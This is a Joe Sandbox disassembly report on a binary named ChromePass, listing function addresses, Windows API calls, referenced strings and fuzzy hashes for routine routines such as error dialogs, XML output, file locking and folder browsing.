Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset$FileWrite_snwprintf_wcslwrwcscpywcslen
String ID: <%s>$<?xml version="1.0" ?>
API String ID: 168708657-3296998653
Opcode ID: dc248ede9b9b93bc8a09d13e098aaa581637d56c3575a5626b05814e7271e46a
Instruction ID: a7dd0036f4669b490196cfc870af23aad45e3806ab696487d408a2c478166364
Opcode Fuzzy Hash: dc248ede9b9b93bc8a09d13e098aaa581637d56c3575a5626b05814e7271e46a
Instruction Fuzzy Hash: C201D8B2E0012967D720A751DC46FEA766EEF40308F4000B67F08B6091D778DA558698

Function 004048B7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 004048CB
_snwprintf.MSVCRT ref: 004048F8
MessageBoxW.USER32(?,?,Error,00000030), ref: 00404911

Strings

Error %d: %s, xrefs: 004048E7
Error, xrefs: 00404902

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ErrorLastMessage_snwprintf
String ID: Error$Error %d: %s
API String ID: 313946961-1552265934
Opcode ID: dff395dbf71922a9d6890ca3d12c6ce5f466b0e16580e663594afad01ea92c52
Instruction ID: a06d71eb03b053c5f46cc024e6edb27df811283a0976cd713272c2079fcf5c70
Opcode Fuzzy Hash: dff395dbf71922a9d6890ca3d12c6ce5f466b0e16580e663594afad01ea92c52
Instruction Fuzzy Hash: 1BF0AEB664021867CB11A794DC46FDE73ACFB44785F5400A7BA04B3141DBB49A454AB9

Function 0040D0AF Relevance: 7.6, APIs: 5, Instructions: 105filesleepCOMMON

Download Yara Rule

APIs

LockFile.KERNEL32(00000000,40000000,00000000,00000001,00000000), ref: 0040D101
Sleep.KERNEL32(00000001), ref: 0040D10B
LockFile.KERNEL32(00000000,40000001,00000000,00000001,00000000), ref: 0040D14D
LockFile.KERNEL32(00000000,40000002,00000000,000001FE,00000000), ref: 0040D187

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: FileLock$Sleep
String ID:
API String ID: 2837005644-0
Opcode ID: 59e48f5a8ecbc93c10ecf98034fdb6630a6d4af4ba3888f978c1a95b5dc2fc7b
Instruction ID: 71930969913137a4b18d29947e3b921dae6dfd5bf9e445a70e1e275211a53b2c
Opcode Fuzzy Hash: 59e48f5a8ecbc93c10ecf98034fdb6630a6d4af4ba3888f978c1a95b5dc2fc7b
Instruction Fuzzy Hash: 6931C731900304BADB314F95CD41BABB7A2AF80758F24C03AF9197E2C5CB79D9499B18

Function 0040915D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040919C

Part of subcall function 004050AE: ShellExecuteW.SHELL32(?,open,?,0042C47C,0042C47C,00000005), ref: 004050C4

SendMessageW.USER32(00000000,00000423,00000000,00000000), ref: 004091E0
GetMenuStringW.USER32(?,?,?,0000004F,00000000), ref: 004091FA

Strings

hAC, xrefs: 004091A7

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ExecuteMenuMessageSendShellStringmemset
String ID: hAC
API String ID: 3150464542-3207736804
Opcode ID: ad9735bd10d2f274383b41e9f76874b314708e3bce80cdfd8b1d45439aa6a5f9
Instruction ID: 9f503a3996ee50f980d5cdaaa83e340c66ad355af15459912377805262b10128
Opcode Fuzzy Hash: ad9735bd10d2f274383b41e9f76874b314708e3bce80cdfd8b1d45439aa6a5f9
Instruction Fuzzy Hash: CB31E671600705EFDB309F64C888A9AB3A9BF10365F1086BEE165672E2C778AD85CB54

Function 00407AE3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407B07
memset.MSVCRT ref: 00407B1E

Part of subcall function 00407185: wcscpy.MSVCRT ref: 0040718A
Part of subcall function 00407185: _wcslwr.MSVCRT ref: 004071AB

_snwprintf.MSVCRT ref: 00407B4D

Part of subcall function 00404870: wcslen.MSVCRT ref: 0040487D
Part of subcall function 00404870: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040788B,?,<item>), ref: 0040488C

Strings

</%s>, xrefs: 00407B3C

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset$FileWrite_snwprintf_wcslwrwcscpywcslen
String ID: </%s>
API String ID: 168708657-259020660
Opcode ID: b01b050d2b987f9521d46d26e93afce8b1bfe3bfa3c84535e891efa3c33f00e1
Instruction ID: 073a195abd97e505d0c44f18f087f8bafc3a7e879dc48580ce391312ff5c1156
Opcode Fuzzy Hash: b01b050d2b987f9521d46d26e93afce8b1bfe3bfa3c84535e891efa3c33f00e1
Instruction Fuzzy Hash: 4301D6B3E0012967D720A755DC45FEA776EEF41308F4000B6BF08B7082DB78AA558A99

Function 0040103E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00404BE5: memset.MSVCRT ref: 00404BEF
Part of subcall function 00404BE5: wcscpy.MSVCRT ref: 00404C2F

CreateFontIndirectW.GDI32(?), ref: 0040105D
SendDlgItemMessageW.USER32(?,000003EC,00000030,00000000,00000000), ref: 0040107C
SendDlgItemMessageW.USER32(?,000003EE,00000030,?,00000000), ref: 0040109A

Strings

MS Sans Serif, xrefs: 00401049

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
String ID: MS Sans Serif
API String ID: 210187428-168460110
Opcode ID: fec4c3f488b20ed5bdc66d84dd021dc12000734a1329bc5c35b2600b853bb3fa
Instruction ID: 0cbfb8aef047944f7db3e0eccab611112fe21e3d273e6c9f0c641645f9b3b621
Opcode Fuzzy Hash: fec4c3f488b20ed5bdc66d84dd021dc12000734a1329bc5c35b2600b853bb3fa
Instruction Fuzzy Hash: 3BF08275B40308B7E6317BE1DC86F5A77B9AB40B04F500429B755BA1E0D6B4B142D658

Function 0040A8EA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32.dll,0040A928,?), ref: 0040A8F8
GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040A90D

Strings

SHGetSpecialFolderPathW, xrefs: 0040A907
shell32.dll, xrefs: 0040A8F3

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetSpecialFolderPathW$shell32.dll
API String ID: 2574300362-880857682
Opcode ID: 914e6417c65161a671754efd666f7633fa486de93f471b79313a7543fa847c03
Instruction ID: c43605d578450a16b894aa1416a585769f7f7aef7b6ac75b942aa130e6551b8c
Opcode Fuzzy Hash: 914e6417c65161a671754efd666f7633fa486de93f471b79313a7543fa847c03
Instruction Fuzzy Hash: B6D0C9B0B80B109ED7106F20AC4E72A3BA4AB6075AFD1A536A805E12A1DB785510DF2D

Function 004139F3 Relevance: 6.4, APIs: 4, Instructions: 370COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00413AA1

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 9f852476a24b5e65acdbe2f2a043cc320021880029ce906e3a02554176d33ed5
Instruction ID: 59302937dc795c47711df285332407a1f8ddb343786b7b42ecfc36176e7c5e69
Opcode Fuzzy Hash: 9f852476a24b5e65acdbe2f2a043cc320021880029ce906e3a02554176d33ed5
Instruction Fuzzy Hash: 93E1F671E00218EFDF14DFA9D981AEEBBB1EF48305F14446AE405B7251E738AE81CB58

Function 00423AE4 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 318COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00423CAB

Strings

EB, xrefs: 00423C43
0, xrefs: 00423CB4
0, xrefs: 00423CB0

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset
String ID: EB$0$0
API String ID: 2221118986-1561797307
Opcode ID: 660e6c4b9d9fe8a994a55b909cc9ede7253a91505854f54e77cdd1d1cc9e251b
Instruction ID: 1ea76f229ebdc1aabd29d9c7becc7eefde12d6ca0c6a424e6793e001dcbd3a88
Opcode Fuzzy Hash: 660e6c4b9d9fe8a994a55b909cc9ede7253a91505854f54e77cdd1d1cc9e251b
Instruction Fuzzy Hash: ADC17D31A00229EFCF14CF65D4416AABBB1FF44315F5480AFE804AB356D739AE91CB98

Function 004070DE Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00407129
memcpy.MSVCRT(00000000,$!@,?,00000000,?,?,?,?,?,00402124,?), ref: 0040713A
memcpy.MSVCRT(00000000,$!@,?,?,?,?,?,?,?,00402124,?), ref: 0040716A

Strings

$!@, xrefs: 00407107, 00407166, 00407136

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memcpy$free
String ID: $!@
API String ID: 2888793982-977691485
Opcode ID: f9e5b73e3dde4dca867c0553b034a14acb0ef908cd8328aefb8c0c5bc0a96aef
Instruction ID: f3f0860456a4485ef54013c7569306a12b2a47b62f6c9f3181aa3f122bf85e4b
Opcode Fuzzy Hash: f9e5b73e3dde4dca867c0553b034a14acb0ef908cd8328aefb8c0c5bc0a96aef
Instruction Fuzzy Hash: FF21D53A600600AFC7219F25C88182AB7E6FF49314720863EF996977D1D735FC51DB96

Function 0040204A Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00401899: memset.MSVCRT ref: 004018A4

memset.MSVCRT ref: 0040208C
memcpy.MSVCRT(?,00000000,00001808), ref: 004020A1
wcscmp.MSVCRT ref: 004020B9
_wcsicmp.MSVCRT ref: 004020F6

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset$_wcsicmpmemcpywcscmp
String ID:
API String ID: 2286356190-0
Opcode ID: 6da85085f14a2f250db9efbeae09bf6fef5951a5ac91e7cf161fe321f83001b7
Instruction ID: a1e3286667dbef44129d227948d97306a94b73f239cf382e1452ef2b17d38215
Opcode Fuzzy Hash: 6da85085f14a2f250db9efbeae09bf6fef5951a5ac91e7cf161fe321f83001b7
Instruction Fuzzy Hash: 681187B3508304AAD720DB51D845ACBB3DCAB84315F14C93FF948D61D1EB78D2498B9B

Function 00405845 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,?,?,0040136B,?,?,?,?,00431D58,0000000C), ref: 0040587A
memset.MSVCRT ref: 0040588B
memcpy.MSVCRT(00434C08,?,00000000,00000000,00000000,00000000,00000000,?,?,0040136B,?,?,?,?,00431D58,0000000C), ref: 00405897
??3@YAXPAX@Z.MSVCRT ref: 004058A4

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: 30bbd352911dea2b85de18ef4888c87691adef2e7fefc46e84ed65210418ea22
Instruction ID: 8fa97af7e5d55286372163d9ad42e2c28c0e779296564fa3a895af7c1a6606fb
Opcode Fuzzy Hash: 30bbd352911dea2b85de18ef4888c87691adef2e7fefc46e84ed65210418ea22
Instruction Fuzzy Hash: 501160726146019FD328DF19D881A27F7E5FFD8300B60C82EE896D7785D635E811CB54

Function 0040AA2B Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0040AA3B
SHBrowseForFolderW.SHELL32(?), ref: 0040AA6D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040AA81
wcscpy.MSVCRT ref: 0040AA94

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: BrowseFolderFromListMallocPathwcscpy
String ID:
API String ID: 3917621476-0
Opcode ID: 377ec8e5f036f696ee045e427b170af2ab7c24cd021eb01e92377e2e7edbcb89
Instruction ID: 5fb91cfae0c2ebd1d76e1c672d4745c525f0cabac9d5bba201b31e7e08aa414d
Opcode Fuzzy Hash: 377ec8e5f036f696ee045e427b170af2ab7c24cd021eb01e92377e2e7edbcb89
Instruction Fuzzy Hash: 23110CB5A00218AFDB10DFA9D989AAEB7FCFF48310F50446AE905E7240D738DA15CF65

Function 004071FB Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407220
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000,?,0042C68C,?,?,?,?,?,0040244B), ref: 00407239
strlen.MSVCRT ref: 0040724B
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,0040244B,?,?,00000008), ref: 0040725C

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: d01f7c04fd76e47fab5a28400840c355bf00092d82e532ccc448e317add86ffe
Instruction ID: f53170a29f1854e1c16e19ed3d359429f7bd7f4535bc732892f58fce21bc9c57
Opcode Fuzzy Hash: d01f7c04fd76e47fab5a28400840c355bf00092d82e532ccc448e317add86ffe
Instruction Fuzzy Hash: 87F06DB390022CBFEB159B98ECC9DEB776DDB04354F0001A6BB05E2052E6349E44CBB8

Function 004022D0 Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004022F5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00402312
strlen.MSVCRT ref: 00402324
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00402335

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: 4264a57b48197c2f64856b5179aaa48d3d1e4fbfe8e357c1b9274df53de55185
Instruction ID: a02fbb3a355ce16d9f4966833126a825bc8952b666e5f9d6bd59413093c7b07c
Opcode Fuzzy Hash: 4264a57b48197c2f64856b5179aaa48d3d1e4fbfe8e357c1b9274df53de55185
Instruction Fuzzy Hash: 80F04FB650022CBFEB15A7949CC9DEB776DDB04354F0001A6B705E2052D6749E448BB9

Function 00407266 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00407295
wcschr.MSVCRT ref: 004072A3

Part of subcall function 004071FB: memset.MSVCRT ref: 00407220
Part of subcall function 004071FB: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000,?,0042C68C,?,?,?,?,?,0040244B), ref: 00407239
Part of subcall function 004071FB: strlen.MSVCRT ref: 0040724B
Part of subcall function 004071FB: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,0040244B,?,?,00000008), ref: 0040725C

Strings

", xrefs: 004072DF

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: wcschr$ByteCharFileMultiWideWritememsetstrlen
String ID: "
API String ID: 3380400052-123907689
Opcode ID: 3be1c1e377b52646325428bb42917dedc5209e6adf5875382d99979dbb0e4fc3
Instruction ID: c8539a0dc029bb113b1e2e72df028827eea6433fa9329206892d96a07a67c76e
Opcode Fuzzy Hash: 3be1c1e377b52646325428bb42917dedc5209e6adf5875382d99979dbb0e4fc3
Instruction Fuzzy Hash: 90317371D08118AADF10EFA5C8419DEB7B5EF08324F20416BFC11B72D1DB78AA41DA59

Function 0041D27A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

isalnum.MSVCRT ref: 0041D291
isdigit.MSVCRT ref: 0041D2B2

Strings

", xrefs: 0041D2E2

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: isalnumisdigit
String ID: "
API String ID: 872979836-123907689
Opcode ID: 78a291c5baecd1de0e99965bdebc33a11d9fff5051348b1f6caa122415013831
Instruction ID: 8796255afa7859fb56c6b653574d1b3f8af1ef0ff55f817c4f688045ce6150e9
Opcode Fuzzy Hash: 78a291c5baecd1de0e99965bdebc33a11d9fff5051348b1f6caa122415013831
Instruction Fuzzy Hash: DE1142B09087E15EEB3346A988403B7BBC8AF57310F5515D6E8E18B246C27CDC82C366

Function 0040525E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 004052A3
memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 004052B3

Strings

%2.2X , xrefs: 00405298

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: _snwprintfmemcpy
String ID: %2.2X
API String ID: 2789212964-323797159
Opcode ID: 10a31a3ff9afff976bbfcdd0ff373495958d8b30277fae7c99cab24ea97ad728
Instruction ID: eff0fbd87d0ef719c4c00606564022f8ee6ebfeed398dd950292ea24602fa429
Opcode Fuzzy Hash: 10a31a3ff9afff976bbfcdd0ff373495958d8b30277fae7c99cab24ea97ad728
Instruction Fuzzy Hash: FD118E32A00619BFEB50DFE8C8829AF73B9FF05314F50847AED11E7141D6389A158FA5

Function 0042A893 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0042A8A0

Part of subcall function 0040B344: RtlEnterCriticalSection.NTDLL(0043551C), ref: 0040B345
Part of subcall function 0040B344: GetCurrentThreadId.KERNEL32 ref: 0040B34B

Part of subcall function 0041DF67: memcpy.MSVCRT(0000001C,0042AD04,00000000), ref: 0041E032

RtlLeaveCriticalSection.NTDLL(?), ref: 0042A8ED

Part of subcall function 0042A7BB: strlen.MSVCRT ref: 0042A7E2

Strings

MATCH, xrefs: 0042A898, 0042A89D, 0042A8B7, 0042A8CD

Memory Dump Source

